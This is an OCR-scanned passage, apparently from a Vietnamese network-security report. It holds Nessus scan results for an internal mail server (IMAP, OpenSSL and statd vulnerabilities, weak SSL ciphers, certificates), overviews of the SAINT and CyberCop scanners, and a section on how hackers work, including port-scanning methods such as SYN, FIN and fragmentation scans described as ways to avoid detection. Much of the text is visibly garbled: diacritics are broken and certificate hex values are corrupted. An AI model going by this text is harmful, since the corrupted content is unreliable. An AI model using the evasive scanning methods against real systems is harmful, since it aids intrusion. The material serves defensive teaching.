*** when testing without safe checks enabled.
Solution : Upgrade to imap-2001a
Risk factor : Serious
CVE : CAN-2002-0379
BID : 4713
Nessus ID : 10966
Informationalimap An IMAP server is running on this port
(143/tcp) Nessus ID : 10330
Informationalfimap The remote imap server banner is :
(143/tcp)  [F OK [CAPABILITY IMAP4 IMAP4REV1 STARTTLS

LOGIN-REFERRALS AUTH=LOGIN] [192.168.1.12]

IMAP4revl 2000.287rh at Mon, 2 Jun 2003 02:26:16

76




+0700 (ICT)

Versions and types should be omitted where possible.
Change the imap banner to something generic.
Nessus ID : 11414

Informational

SmMux

(199/tcp)

A SNMP Multiplexer (smux) seems to be running on this
port
Nessus ID : 10330

Informational

submission
(587/tcp)

An SMTP server is running on this port

Here is its banner :

220 mlinux.vn ESMTP Sendmail 8.12.9/8.12.9; Mon, 2
Jun 2003 02:26:03 +0700

Nessus ID : 10330

Informational

submission
(587/tcp)

Remote SMTP server banner :
220 mlinux.vn ESMTP Sendmail 8.12.9/8.12.9; Mon, 2
Jun 2003 02:26:26 +0700

This is probably: Sendmail version 8.12.9

Nessus ID : 10263

Informational

submission
(587/tcp)

smtpscan was not able to reliably identify this server. It
might be:

Sendmail 8.11.7/8.11.4/VUT Brno

Sendmail 8.12.3

The fingerprint differs from these known signatures on 3
point(s)

If you known precisely what it is, please send this
fingerprint

to the Nessus team :
:451:501:501:250:553:451:503:214:250:250:502:502:502
:250:250

Nessus ID : 11421

Informational

submission
(587/tcp)

For some reason, we could not send the EICAR test string
to this MTA
Nessus ID : 11034

Informational

submission
(587/tcp)

This port was detected as being open by a port scanner
but is now closed.

This service might have been crashed by a port scanner or
by some information gathering plugin

Nessus ID : 10919

Informational

kdm
(1024/tcp)

RPC program #100024 version 1 'status' is running on this
port
Nessus ID : 11111

Vulnerability

imaps

(993/tcp)

There is a buffer overflow in the remote imap server
which allows an authenticated user to obtain a remote
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shell.

By supplying an overly long tag the the BODY command,
an attacker may gain a shell on this host.

%% Nessus reports this vulnerability using only
*#** information that was gathered. Use caution
*** when testing without safe checks enabled.

Solution : Upgrade to imap-2001a
Risk factor : Serious

CVE : CAN-2002-0379

BID : 4713

Nessus ID : 10966

Vulnerability

imaps

(993/tcp)

The remote host seems to be using a version of OpenSSL
which is
older than 0.9.6¢e or 0.9.7-beta3

This version is vulnerable to a buffer overflow which,
may allow an attacker to obtain a shell on this host.

*** Note that since safe checks are enabled, this check
*** might be fooled by non-openssl implementations and
*** produce a false positive.

*** In doubt, re-execute the scan without the safe checks

Solution : Upgrade to version 0.9.6e (0.9.7beta3) or newer
Risk factor : High

CVE : CAN-2002-0656, CAN-2002-0655, CAN-2002-
0657, CAN-2002-0659, CVE-2001-1141

BID : 5363

Nessus ID : 11060

Warning

imaps
(993/tcp)

The SSLv2 server offers 3 strong ciphers, but also 0
medium strength and 2 weak "export class" ciphers.

The weak/medium ciphers may be chosen by an export-
grade or badly configured client software. They only offer
a limited protection against a brute force attack

Solution: disable those ciphers and upgrade your client
software if necessary
Nessus ID : 10863

Informational

imaps
(993/tcp)

A TLSv1 server answered on this port

Nessus ID : 10330

Informational

imaps

An IMAP server is running on this port through SSL
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(993/tcp)

Nessus ID : 10330

Informational

imaps
(993/tcp)

The remote imap server banner is :

* OK [CAPABILITY IMAP4 IMAP4AREV1 STARTTLS
LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN]
[192.168.1.12] IMAP4revl 2000.287rh at Mon, 2 Jun
2003 02:25:56 +0700 (ICT)

Versions and types should be omitted where possible.
Change the imap banner to something generic.

Nessus ID : 11414

Informational

imaps
(993/tcp)

Here is the SSLv2 server certificate:

Certificate:

Data:

Version: 3 (0x2)

Serial Number: 0 (0x0)

Signature Algorithm: md5WithRSAEncryption

Issuer: C=--, ST=SomeState, L=SomeCity,
O=SomeOrganization, OU=SomeOrganizational Unit,
CN=localhost.localdomain/Email=root@]localhost.localdo
main

Validity

Not Before: Apr 28 15:29:04 2003 GMT

Not After : Apr 27 15:29:04 2004 GMT

Subject: C=--, ST=SomeState, L=SomeCity,
O=SomeOrganization, OU=SomeOrganizational Unit,
CN=localhost.localdomain/Email=root@localhost.localdo
main

Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:¢7:c8:39:e8:08:ef:7f:ba:ab:3a:7e:ae:03:el:
38:f1:6¢:95:6e:06:b6:00:34:c1:bb:c7:bf:d1:7a:
2c:6f:67:ea:f5:fe:8c:6:91:bf:63:98:56:14:1b:
f4:£d:ff:71:7¢:64:82:29:73:0d:be:de:73:3:2f:
a3:18:8b:a7:9¢:96:94:d7:57:fb:£1:79:57:24:77:
be:ff:85:91:9¢:18:0f:06:33:4b:2a:dd:3b:f0:da:
ef:70:52:91:25:0e:f0:c3:1a:30:d6:17:10:cf:34:
bl:de:ad:9a:b7:fc:4d:4d:b5:9b:7b:4f:b2:ae:91:
0b:25:2c:ca:8a:bc:2f:0b:b5

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Subject Key Identifier:
AE:48:59:00:F2:19:81:B7:8C:8D:9C:E5:75:DE:FA:93:78
:16:8E:BB

X509v3 Authority Key Identifier:
keyid:AE:48:59:00:F2:19:81:B7:8C:8D:9C:E5:75:DE:FA
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:93:78:16:8E:BB

DirName:/C=--
ST=SomeState/L=SomeCity/O=SomeOrganization/OU=S

omeOrganizationalUnit/CN=Ilocalhost.localdomain/Email

=root@]localhost.localdomain

serial:00

X509v3 Basic Constraints:

CA:TRUE

Signature Algorithm: md5WithRSAEncryption
77:16:b8:43:64:2¢:88:69:33:4b:e8:f1:fb:bc:b0:cf:fa:c4:
5d:73:91:1c:11:13:5¢e:9¢e:eb:bb:86:e0:00:57:85:ed:a0:df:
c9:¢1:54:b2:71:d7:8d:68:97:2d:29:b2:31:3d:a7:3f:76:81:
bl:ae:14:94:0d:be:85:46:02:0b:c9:e8:44:e4:55:68:26:54:
0d:38:51:4b:43:d9:83:aa:d8:86:5f:7e:e8:5d:9b:dd:81:92:
66:51:7e:49:e8:55:fa:45:¢6:71:0c:£8:9d:b5:el:ec:f5:71:
0b:18:3b:19:28:97:02:dd:be:91:36:6a:b1:78:f5:8e:c3:44:
05:b4

Nessus ID : 10863

Informationalfimaps Here is the list of available SSLv2 ciphers:
(993/tcp)  RC4-MD5
EXP-RC4-MD5
RC2-CBC-MD5
EXP-RC2-CBC-MD5
DES-CBC3-MD5
Nessus ID : 10863
Informationalimaps This TLSv1 server also accepts SSLv2 connections.
(993/tcp)  [This TLSv1 server also accepts SSLv3 connections.
Nessus ID : 10863
Warning msg A Nessus Daemon is listening on this port.
(1241/tcp) [Nessus ID : 10147
[Informationalmsg A TLSv1 server answered on this port
(1241/tcp)
Nessus ID : 10330
Informationalmsg Here is the TLSv1 server certificate:
(1241/tcp) [(Certificate:
Data:

Version: 3 (0x2)

Serial Number: 1 (0x1)

Signature Algorithm: md5SWithRSAEncryption
Issuer: C=FR, ST=none, L=Paris, O=Nessus Users
United, OU=Certification Authority for servermail,
CN=servermail/Email=ca@servermail

Validity
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Not Before: May 27 20:35:56 2003 GMT

Not After : May 26 20:35:56 2004 GMT

Subject: C=FR, ST=none, L=Paris, O=Nessus Users
United, OU=Server certificate for servermail,
CN=servermail/Email=nessusd@ servermail

Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:e8:fb:bb:68:19:40:b8:19:86:53:1c:75:af:a4:
05:53:5d:bc:bc:5e:4d:1a:44:02:60:60:51:95:cf:
a0:4e:8f:d6:7d:1e:61:4d:8b:98:93:5c:dc:df:17:
3d:da:d5:f6:12:€5:6d:05:b0:4f:a1:b5:24:63:3e:
78:87:42:c1:£0:1a:4f:51:1b:53:52:17:44:60:74-
c3:cl:bc:2f:4e:b4:b7:6¢c:b9:44:0e:fc:58:3e:21:
£9:92:41:1d:bb:93:03:d0:6e:fe:b4:d3:b5:90:5¢:
cb:cc:2b:85:46:40:b4:ba:b9:12:68:87:c1:e5:2f:
86:1d:33:41:73:9b:46:ab:11

Exponent: 65537 (0x10001)

X509v3 extensions:

Netscape Cert Type:

SSL. Server

X509v3 Key Usage:

Digital Signature, Non Repudiation, Key Encipherment
Netscape Comment:

OpenSSL Generated Certificate

X509v3 Subject Key Identifier:
E0:82:56:66:E6:4E:5B:06:61:B7:53:0C:DE:C4:70:B7:6D:
19:BA:9C

X509v3 Authority Key Identifier:
keyid:30:7B:23:6A:96:C4:25:33:9B:37:E8:12:87:A2:5A:
AC:05:1F:6D:BE
DirName:/C=FR/ST=none/L=Paris/O=Nessus Users
United/OU=Certification Authority for
servermail/CN=servermail/Email=ca@ servermail
serial:00

X509v3 Subject Alternative Name:
email:nessusd@servermail
X509v3 Issuer Alternative Name:
<EMPTY>

Signature Algorithm: md5SWithRSAEncryption

25:21:a2:6¢c:e2:bb6:ba:5a:f8:b3:db:1e:65:39:ef:1b:82:40:
de:71:91:6¢:7f:fe:b7:92:14:83:04:18:69:25:83:8c:e7:34:
ba:45:de:8e:2a:00:09:f7:92:79:16:66:58:9f:e5:5e:0b:10:
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cc:bd:6f:86:6¢e:1b:b7:d1:2a:68:49:39:00:61:34:90:9¢:78:
71:62:37:8d:65:02:09:2¢:50:2d:6e:05:24:9f:43:af:7a:41:

e8:36:23:6f:1¢:9f:d4:2b:5d:cd:bb:72:61:bd:b5:24:e7:17:
92:1£3:24:67:de:06:14:54:38:70:d2:£1:18:5b:6d:¢3:63:11:
el:dc

Nessus ID : 10863

Informational

msg
(1241/tcp)

This TLSv1 server does not accept SSLv2 connections.
This TLSv1 server does not accept SSLv3 connections.

Nessus ID : 10863

Warning

x11
(6000/tcp)

This X server does *not* allow any client to connect to it
however it is recommended that you filter incoming
connections to this port as attacker may send garbage data
and slow down your X session or even kill the server.

Here is the server version : 11.0
Here is the message we received : Client is not authorized
to connect to Server

Solution : filter incoming connections to ports 6000-6009
Risk factor : Low

CVE : CVE-1999-0526

Nessus ID : 10407

Informational

sunrpc
(111/udp)

RPC program #100000 version 2 "portmapper’ (portmap
sunrpc rpcbind) is running on this port
Nessus ID : 11111

Vulnerability

unknown

(1024/udp)

The remote statd service may be vulnerable to a format
string attack.

This means that an attacker may execute arbitrary code
thanks to a bug in this daemon.

*** Nessus reports this vulnerability using only
%% information that was gathered. Use caution
*** when testing without safe checks enabled.

Solution : upgrade to the latest version of rpc.statd
Risk factor : High

CVE : CVE-2000-0666

BID : 1480

Nessus ID : 10544

Warning

unknown
(1024/udp)

The statd RPC service is running. This service has a long
history of

security holes, so you should really know what you are
doing if you decide
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to let it run.

* NO SECURITY HOLES REGARDING THIS
PROGRAM HAVE BEEN TESTED, SO
THIS MIGHT BE A FALSE POSITIVE *

We suggest that you disable this service.

Risk factor : High

CVE : CVE-1999-0018, CVE-1999-0019, CVE-1999-
0493

BID : 127, 450

Nessus ID : 10235

Informational

unknown
(1024/udp)

RPC program #100024 version 1 'status' is running on this
port
Nessus ID : 11111

Warning

listen
(1025/tcp)

The fam RPC service is running. Several versions of this
service have

a well-known buffer overflow condition that allows
intruders to execute

arbitrary commands as root on this system.

Solution : disable this service in /etc/inetd.conf
More information :
http://www.nai.com/nai labs/asp set/advisory/16 fam ad

v.asp
Risk factor : High

CVE : CVE-1999-0059
BID : 353
Nessus ID : 10216

Informational

listen
(1025/tcp)

RPC program #391002 version 2 'sgi_fam' (fam) is
running on this port
Nessus ID : 11111

Informational

general/tcp

Remote OS guess : Linux Kernel 2.4.0 - 2.5.20

CVE : CAN-1999-0454
Nessus ID : 11268

2. SAINT- Céng cu tich hop an toan mang cua nguoi quan tri

Mot trong nhiing cong cu rét hitu ich trong viéc phat hién va khic phuc

cac diém yéu ciia mang may tinh 12 SAINT. SAINT la cong cu tich hop an toan

mang cua ngudi quan tri (Security Administrator's Integrated Network Tool). O

ch& do don gian ching c6 thé thu thap rat nhiéu thong tin ciia mang va cdc may
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chii & xa bing cdch kiém tra cic dich vu mang nhu finger, NFS, NIS, ftp va tftp,
rexd, statd va cac dich vu khac. Thong tin thu thap duoc bao gom su ¢6 mit cua
rat nhiéu dich vu thong tin mang cling nhu cdc thi€u s6t an toan tiém tang
thudong do cdc dich vu mang duoc ciu hinh hoac cai dat sai (d6 1a céc 16i hé
thong hoac céc 16i tién ich mang) hoac do cac chinh sach an toan nghéo nan.
SAINT c6 thé hoac thong bao cic thong tin ndy hodc sir dung cdc quy tic don
gian trén cdc hé thong co s& dé kiém tra bat ky vdn dé an toan tiém tang nao.
Ngudi sir dung c6 thé kiém tra, truy van va phan tich dit liéu ra vé6i trinh duyét
HTML nhu Mosaic, Netscape, hoac Lynx.

Tuy nhién stc manh thuc su cia SAINT cé dugc khi né chay & ché do
phat hién. Dua vao tap cdc dit liéu ban dau va tap cac quy luat c¢6 thé cau hinh
user, SAINT sé& kiém tra con dudng (avenues) dua dén do tin cay va do phu thudc
va lap lai viéc tap hop dit liéu chay qua may chu thit cap (secondary hosts). Diéu
nay khong chi cho phép ngudi diung phan tich dugc mang hoac may chu ctia ho
ma con cho phép kiém tra cdc quan hé von c6 trong cdc dich vu va mang tin
tudng gidp ho dua ra cac quyét dinh dao tao hop ly (make reasonably educated
decisions) v€ cdc miic an toan cta cac hé thong phiic tap.

SAINT c6 chuong trinh thu nhan muc tiéu thudng st dung fping dé xac
dinh c6 hay khong cdc host hoac thi€t lap cac host trén mang con da c6. Tuy
nhién khi host & sau firewall tcp_scan duge sit dung dé tham do céc cOng thong
thudng nhim kiém tra su ton tai clia host. Néu vuot qua, muc tiéu ndy (target)
liet ké dén céc phuong tién diéu khién viéc tap hop dit liéu va vong lap thong tin
phan héi chinh. Méi host dugc kiém tra d€ biét ring n6 da duoc kiém tra trudc
do6 hay chua, néu chua danh muc ki€ém tra/ tham do (list of tests/probes) duogc
chay lai (tap cac tests phu thudc vao su khoang cach gitta muc tiéu ban dau va
muc tham do gi duoc thiét 1ap trén host). Tests cho ra ban ghi dit liéu cé
hostname, test run va bat ky két qua nao tim thay khi tham do, cac dit liéu nay
duoc luu trit vao file phuc vu cho viéc phan tich.

SAINT vulnerability scanner la budc dau tién trong viéc phat hién cac
diém yéu trén mang. N6 hoat dong nhu sau:

SAINT bao vé moi hé thong hé thong ton tai trén mang cho céac dich vu
TCP va UDP (budc 1). V6i moi dich vu né phét hién ra dang hoat dong, né sé&
dua ra tap cdc tham do dugc thiét k€ d€ phat hién ra bat ci cdi gi cho phép ké tin
cong dat duoc truy cap khong xéc thuc hoac tao ra tdn cong bang tir choi dich vu
hoic thu dugc céc thong tin nhay cam vé mang (buéc 2). Khi céc diém yéu duoc
phat hién (buéc 3), SAINT vulnerability scanner phan loai cic diém yéu theo
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mot vai cach cho phép nguoi stt dung nham t6i dit liéu ho tim thay ¢6 loi nhat

(budc 4).

Chi tiet vé SAINT chiing ta c¢6 thé nhan dugc tir Web site

http://www.saintcorporation.com

3. CyberCop Scanner

CyberCop Scanner cong khai cic diém yéu, 1am cho céc chinh sich an

toan c6 hiéu luc va lIam cho cac chién lugc an toan hop nhat ¢é hiéu luc. N6 thuc

hién viéc kiém tra wor kst ati ons, routers, hubs, switches, firewalls

va céc thiét bi mang khdc dé phat hién céc diém yéu va cdc moi de doa (threat)

trudc khi bi 10 ma hacker c6 thé str dung né dé truy cap vao cdc dit lieu nhay cam

nhat. CyberCop Scanner c6 thé thuc hién quét theo dinh ky hoic khi duoc yéu

ciu, cung cap su linh hoat trong viéc quét va danh gia do an toan trong hé thong

mang. CyberCop Scanner tan dung nhi€u su kién an toan trong dit liéu giai phap

toan dién “real-world” d€ stra chita cdc 16 héng an toan.

Cac tinh chat cia CyberCop Scanner

Co s& dit liéu an toan bao ham toan dién (Comprehensive Security
Database): nhan biét cac 16 hong an toan qua viéc ki€ém tra 860 di€ém
yéu, cac thong tin an toan hién tai va thudc tinh cap nhat tu dong
Quan 1y quét tir xa dung dai ly CyberCop (Remote Scan Management
Using CyberCop Agents): Ngudi quan tri ¢6 thé quan 1y viéc quét cua
ban tir mot vi tri trung tam lam giam thoi gian va tai nguyén can thiét
cho viéc kiém tra mang

Quét dinh ky (Schedule Scanners): ta c¢6 thé quy dinh tin s6 va thoi
gian quét dé CyberCop Scanner tu dong quét

Phat hién hé diéu hanh (Operating System Detection): xdc dinh hé
diéu hanh ma cic mdy trén mang dang chay. Méi khi dugc nhan biét,
CyberCop c6 thé khong cho phép cdc module tuy chon khong lién
quan dén cédc hé diéu hanh dugc chi 6 khi quét cic may.

Ban bao céo chi tiét (Detailed Reporting): xac dinh, uu tién va goi y

céc giai phdp do6i v6i céac 16 hong duoc phat hién
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PHAN 2
NETWORK HACKER
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I. HACKER LA GI?

Truéc day, hacker dugc phan thanh 2 loai: black hat chi nhiing ké xau dot
nhap vao mdy tinh dé pha hoai, white hat chi nhitng ngudi t6t c6 gang tim ki€m
va bit cdc 16 hong trude khi ké xau phat hién ra ching. Ngay nay khi co hoi tin
cong nhiéu hon, cdc hinh thic hacker méi xuat hién, dong co va hoat dong cta
ching ciing thay doi

Hacker ngay nay dugc phan lam céc loai chinh sau:

1. Hacker thuong dan va hacker chinbh tri.

Hacker thuong dan la luc luong dong dao nhat. Hau hét nhitng ké xam nhéap
nay bi kich dong bai tri to mo hoac muon thach thic cac hé thong an ninh, mot
s6 khdc muon pha roi, trom tién hoac st dung nhiing thué bao ma nguoi khac
phai tra tién.

Theo mot s6 chuyén gia, van dé chinh tri cling 12 dong luc ciia mot s6 hacker.
Nhi€u hacker tu cho minh 1a nha hoat dong chinh tri thi hanh dao 1y riéng, trong
khi muc tiéu chinh lai 12 mudn ching t6 rang minh c6 thé dé dang gianh quyén
kiém soat mot s6 tai nguyén mang. Cac chinh tri gia kiém hacker dich thuc thi
twong d6i hi€ém. Nhitng ngudi ndy c6 thé xam nhap website clia cac t6 chitc doi
lap hoic gitdp cho phe cénh ctia minh trao déi thong tin dé dang hon trén mang.

Nhom hacker chinh tri cling bao gobm khing bé mang, nhiing ké luon gay ra
cac dot tdn cong c¢6 quy mo 16n phuc vu muc dich chinh tri ctia ching. Nhiing

cudc pha hoai nay c6 thé chong lai céc t6 chifc tu nhan hoac chinh phu.

2. Hacker la ké trong cudc.

Nhiing hacker tir bén trong, mac du ¢6 s6 luong it hon rat nhi€u so véi hacker
thuong dan, lai ¢6 moi de doa 16n hon véi cac tap doan. Nhan vién cong ty va
céc d6i tac thit 3 (nhu nha tu van hay hing cung cap) c6 thé gay thiét hai to 16n

cho hé thong cua cdc t6 chitc. Nhitng cudc tdn cong noi bo ciing cé thé bat
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nguon tir su td mo — cac nhan vién mudn biét dong nghiép ctia minh ki€ém dugc
bao nhiéu, déng thoi ho c6 thé an cip so thé tin dung va bi mat kinh doanh va
nhi€u hon nira.

Trong s6 cdc cudc dot nhap tir bén trong, muc tiéu phd hoai khong pho bién

bang trom cap.

3. Toi pham c6 t6 chiic.

Nhém hacker cuo6i cung la nhiing tén t6i pham chuyén nghiép. Cac chuyén gia
tin rang tOi pham st dung internet s€ gia tang nhanh chéng trong tuong lai.

Theo cac chuyén gia an ninh mang, vong doi cta 16 hong phan mém thudng
tuan theo mot chu trinh nhit dinh. Pau tién, mot hacker phat hién ra so hd trong
ma phan mém. Néu c6 trach nhiém, nguoi dé sé thong biao cho nha cung cap va
hang nay thong bdo lai téi nguoi dung cung véi viéc phat hanh mié€ng va. Ngay
sau do, nhitng ké khdc sé& viét ra chuong trinh khai thac 16 héng nay. Cu6i cling,
virus va trojan, worm s€ dugc tao ra dé phan tdn ma so hd d6 va mot hacker vung
vé ciing ¢ thé tan dung ching dé gay ra tai hoa trén dién rong. Sau day ta s&

nghién ctru k§ hon cac hoat dong cua cac hacker.

II. HACKER HACK NHU THE NAO?

Trong vai nam tré lai day thi van dé an toan trén mang thu hit dugc rat nhiéu
su quan tam. Su hdn don va thay déi chéng mit cua Internet 12 yéu t6 chinh 1am
cho nguoi dung va cac doanh nghiép phai tu minh tang cuong kha nang bao mat
cho mdy tinh va hé théng mang cua ho.

Cach day 10 nam, nhitng nguoi cai dat cac hé thong may chi ¢6 rat it hiéu
biét va k§ nang vé bao mat. Va ngay ca hién nay, trong s6 nhitng ngudi van
thudng cai dat hé thong mdy chu van con thi€u rat nhiéu kinh nghiém vé bao

mat.
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Nhitng nguoi dung binh thuong dugc tran an bai nhitng thong bao tir cdc cong
ty 16n vé phuong phdp bao mat ctia ho. Nhung khong thé chéi cdi dugc su that
rang hang thiang chiing ta lai ¢6 thém nhitng thong tin rdng hacker lai dot nhap
vao dau d6 va lay cap thong tin. Va nhu vay ¢6 rat nhiéu thong tin quan trong bi
danh cap, doi khi d6 1a thong tin chinh tri lién quan dén van ménh clia mot quoc

gia.

1. Cac 16i bao mat thuong gap

Nhitng 16i bdo mat c6 thé x4y ra nhu sau:

Mang va may chu bi cau hinh sai

Heé diéu hanh va ting dung bi 16i.

Nha cung cap thiéu trach nhiém.

Thi€u nhiing ca nhan c6 trinh do
a. Cau hinh sai may chu:

Day 1a nguyén nhan tao ra da phin cdc 16 hong bao mat. Rat nhiéu ngudi
khi quan tri khong nhan biét duoc cac dich vu dang chay trén may chu cua ho.
Su thay d6i nhanh chéng cua cong nghé 1am cho chi mot so it ngudi ¢6 thé theo
kip. Va nhu thé thi cdc may tinh n6i mang hién nhién dang doi mat véi nguy co
bi xadm nhap. Sau day 1a mot vai vi du vé céac tng dung va dich vu:

- Hé thong in trén mang.

- Heé thong diéu khién tir xa

- Chia s¢ file

- Hé thong thu dién tir ...

Khi nhitng hé thong nay sir dung cac gia tri mac dinh hoac bi cau hinh sai
thi s€ 1a co hoi tot dé ké xau xam nhap.

b. Loi trong cac tng dung:
Nhiing 16i nay sinh khi 1ap trinh 12 mot yéu t6 lam cho tng dung vuot ra

ngoai tim kiém sodt ctia ngudi sut dung. Vi du nhing 16i cia MS IIS hay trong
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ISC BIND hay SSH va rat nhiéu 16i khic trong cic hé thong cta Sun. Pon gian
hon nita 12 16i cia OE ma ta c6 thé trd thanh muc tiéu clia Virus.
c. Nhirng nha cung cap thiéu trach nhiém:

Rat nhiéu nha cung cap khong quan tam dén di€u gi xay ra trong chuong
trinh ctia ho. Viéc dam bao chat luong tuan tha nhitng chuin trong nganh cong
nghiép phan mém. DE tiét kiém chi phi thi ngudi ta thudng khong 4p dung nhiing
tieu chudn vé qui trinh san xuat. Thé thi ai phai chiu hau qué clia sy thi€u trach
nhiém cua nha cung cap. D6 chinh 1a cac hé thong mang va mdy tinh thiéu an
toan cho ngudi ding tao diéu kién thuan Igi cho Virus va hacker phat trién.

Trong trudng hop cdc ban stra 161 bi cham tré ciing ¢6 thé 1am hai dén cong
tdc bao mat. Cac khdm ph4 16 héng hoat dong vdi toc do rat nhanh. Tir cic mail
list hay dién dan hacker thi bon ho chia xé véi nhau nhitng thong tin méi nhat,
trong khi dé véi su cham chap ctia nha cung cép thi cac hé thong da bi xam nhap
va phd hoai trong thoi gian cuc ngén.

d. Thiéu nguoi co6 trinh do.

Néu nhu tat ca cdc van dé 6 trén déu duogc giai quyét thi nguoi dung lai vap
phai mot van dé khdc 1a thi€u nhiing ngudi tu van c6 trinh do cao. C6 thé thu
thap mot doi ngii k¥ su, quan tri va 1ap trinh vién du trinh do, nhung khong dé gi
tim ra cdc chuyén gia bdo mat gidi. Va khong thé dao tao doi ngii chuyén gia
bao mat trong vai ngay. D6 1a mot qua trinh rat dai, phai bat diu tix cac kién thic
co ban nhu TCP/IP, phan ciing, hé diéu hanh, ma hod va lap trinh. Nhung nhu
vay méi chi dii cho cac hiéu biét so dang vé bao mat.

Viéc thi€u nhan su 1am cho cdc chuong trinh vé bao mat trong doanh nghiép
bi xao lang hoac di nham duong. Khong cé cac chinh sach bao méat hodc néu ¢6
thi khong duoc hoan chinh. Chinh diéu d6 1am cho hé thong cta ching ta bi t6n
thuong trudc cac cudc tan cong.

D6 12 céc yéu t6 co ban va thuan lgi cho virus va Hacker phdt trién. Vay cdc

hacker xam nhap vao hé thong nhu thé nao?
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2. Qui trinh hacking mot hé thong.
Hacking c6 9 budc:
FootPrinting
Scanning
Enumeration
Gaining Access
Escalating Privileges
Pilfering
Covering Tracks
Creating "Back Doors"
Denial of Service
Sau day chung ta s€ xem xét cdc phuong phép trén:
a. Footprinting:

Day la cdch ma hacker 1am khi muén 1ay mot lugng thong tin t6i da vé€ may
chti/doanh nghiép/ngudi dung. N6 bao gom chi tiét vé dia chi IP, Whois, DNS....
Dai khai 1a nhitng thong tin chinh thic c6 lién quan dén muc tiéu. Nhiéu khi don
gian hacker chi can str dung cdc cong cu tim ki€m trén mang dé tim nhiing thong
tin d6. Mdi mot mang c6 mot cdc tham do tim hiéu riéng:

INTERNET : Domain Name, Network blocks , Specific IP address of systems

reachable via the Internet , TCP va UDP services running on each system
identified, System architeture (vd: SPARC vs. X86 ), Access Control
mechanisms and related access control list ( ACLs ), Intrusion detection system (
IDSes ), System enumeration ( user and group names, system banner, routing
tables, SNMP information )

INTRANET : Networking Prototcols in use ( vd : IP , IPX , DecNet ... ),Intranet

Domain Names , Network blocks , Specific IP address of systems reachable via
intranet , TCP and UDP services running on each systen indentified , System

architecture ( vd : SPARC vs X86. ) , Access Control mechanisms and related
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access control list ( ACLs ) , Intrusion detection system , System enumeration
(user and group names , system banner , routing tables , SNMP information )
REMOTE ACCESS : Analog/digital telephone numbers , Remote System type,
Authentication mechanisms , VPNs and related protocols ( IPSEC, PPTP )

EXTRANET : Connection origination and destination , Type of Connection ,

Access Control Mechanisms.

b. Scanning.

Khi da c6 nhitng thong tin d6 roi, thi ti€p dén la danh gia va dinh danh nhiing
dich vu ma muc tiéu c6. Viéc nay bao gom quét céng, xdc dinh hé diéu hanh...
Nguyén 1y cta viéc SCAN la xdc dinh trang thdi clia cang nhiéu PORT cang tot
(gia tri cia PORT la mot s6 nguyén, trén mot may tinh PORT xac dinh duy nhat
mot chuong trinh dang chay, PORT dung dé dinh huéng dit liéu vao/ra mdy tinh,
dit liéu gui di thi gui cho: May nao + chuong trinh nao = socket). Trang thai cua
PORT duoc cac hacker quan tam nhat 1a LISTENING.

Nhitng k§ thuat Scanning: nguyén 1y téng qudt cua viéc scanning la ding
phuong phép thir sai, n6 hoi tham tat ca cac 16i vao (PORT) bang nhiéu thit tiéng
(PROTOCOL: qui luat giao ti€p). Sau d6 lang nghe nhitng hoi dap (khong tra 10i
cling 1a mot cach tra 16i). Dua vao nhiing thong tin phan hoi nay hacker sé két
luan duoc 16i ndo dé vao va it bi dé y dén.

Nguyén tac ctia viéc phan chia loai cdc chuong trinh Scanner:

e TCP Port Scanning: day la dang co ban nhat 1a cua cac chuong trinh
Scanner. Loai chuong trinh nay sé tht mé mot két noi TCP d€n mot PORT
nao dé dé x4c dinh trang thai cia PORT nay. Bay gid 1a lic hacker phai hiéu
o 1am thé nao ma két n6i TCP (mot dudng 6ng 4o dé truyén thong tin giita
hai diém trén mang) dugc thiét lap

- Beén A glri mot packet c6 tén 1a SYN cho bén B (hoi tham cong nay)

- Né&u bén B muodn néi chuyén thi s€ giri mdt packet 1a SYN/ACK cho bén A
(nghia la dong y ndi chuyén)
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- Beén A sé hoan tat viéc néi chuyén bang mot packet ACK
D6 1a mot cdch do xem cong nay ¢ md khong
e TCP SYN Scanning:

Mot hé thong s€ LOG (ghi nhan) thong tin vé cac két ndi dén sau khi nhap
dugc Packet ACK cu6i cing (6 buée 3) cuia bén A giri. Nhu vay Hacker c6 thé
trdnh diéu nay bang cach thay vi giri ACK cu6i anh ta s& gtri packet RST. y nghia
la RST bao cho bén B biét 1a A khong con & d6 nita, A khong nghe dugc
SYN/ACK cua B. Vay la khong c6 két noi nita. Nhung hacker da c6 thong tin
can biét. Nhung cach nay chua that su an toan cho hacker, néu ta muén va cé
chu tam thi hacker da bi ghi nhan ngay & bude dau.

e TCP FIN Scanning:

Bang cédch gui FIN packet dén PORT d6, néu PORT d6 dang dong né sé tra
vé RST. Con néu n6 mé thi nd sé€ phdt 10 packet FIN nay di. D6 1a do Interner
ban dau thiét k€ khong duoc t6t 1am.

e Fragmentation Scanning:

Pay chi 1a mot budce tién hod nita cua cac chuong trinh Scan. Thay vi goi cac
packet nhu trudc dé tham do, chuong trinh nay s& chia nho packet nay ra thanh
nhiéu packet nho hon nhdm trdnh su phét hién cua cdc chuong trinh packet
fillter. Cac packet nay sau khi lot qua duoc céc chuong trinh kiém tra s& duogc
cac deamon ghép lai. Nhu vay day ciing 1a diém yéu cua phuong phdp lam viéc
ctia hé thong mang hién nay.

e TCP Reverse Ident Scanning:

Dua trén Ident Protocol, protocol nay cho phép phoi bay username dang chay
cac tién trinh két n6i qua TCP ngay ca néu tién trinh d6 khong tao ra su két noi.
Hacker c6 thé ding Ident deamon dé tim hiéu xem mot server dang van hanh boi
ai (root hay nguoi dung binh thuong)

e UDP ICMP Port unreachable Scanning:
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Van hanh dua trén UDP protoclol, mdt nghi thiic giao ti€p it phiic tap hon
TCP rat nhiéu, khong cin rao truGc dén sau gi hét. Khi hacker gtri mot packet
dén mot UDP port dang dong thi né sé& tra 10i bang packet
ICMP_PORT_UNREACHABLE cho anh ta nhu vay c6 thé dé dang suy ra
nhiing cong ndo dang mo
e UDP sent-recv scanning:

Thong thuong thi nonroot wuser cua Linux khong nhan dugc
ICMP_PORT_UNREACHABLE, nhan cta Linux s& thong bdo cho user mot
cach gian ti€p. Néu hacker goi lan tht hai ham sent() vao cung mot port dang
dong thi gia tri tra vé 1a -1 (fail). Nhu vay nonroot user cia linux ciing c6 thé
tham do trén UDP.

Cac cong cu duoc cac hacker sit dung ¢ day nhu 1a NMAP (mot chuong trinh
scan nhanh manh ), WS pingPro.... Va con nhiéu nita d6 1a chua ké cdc chuong
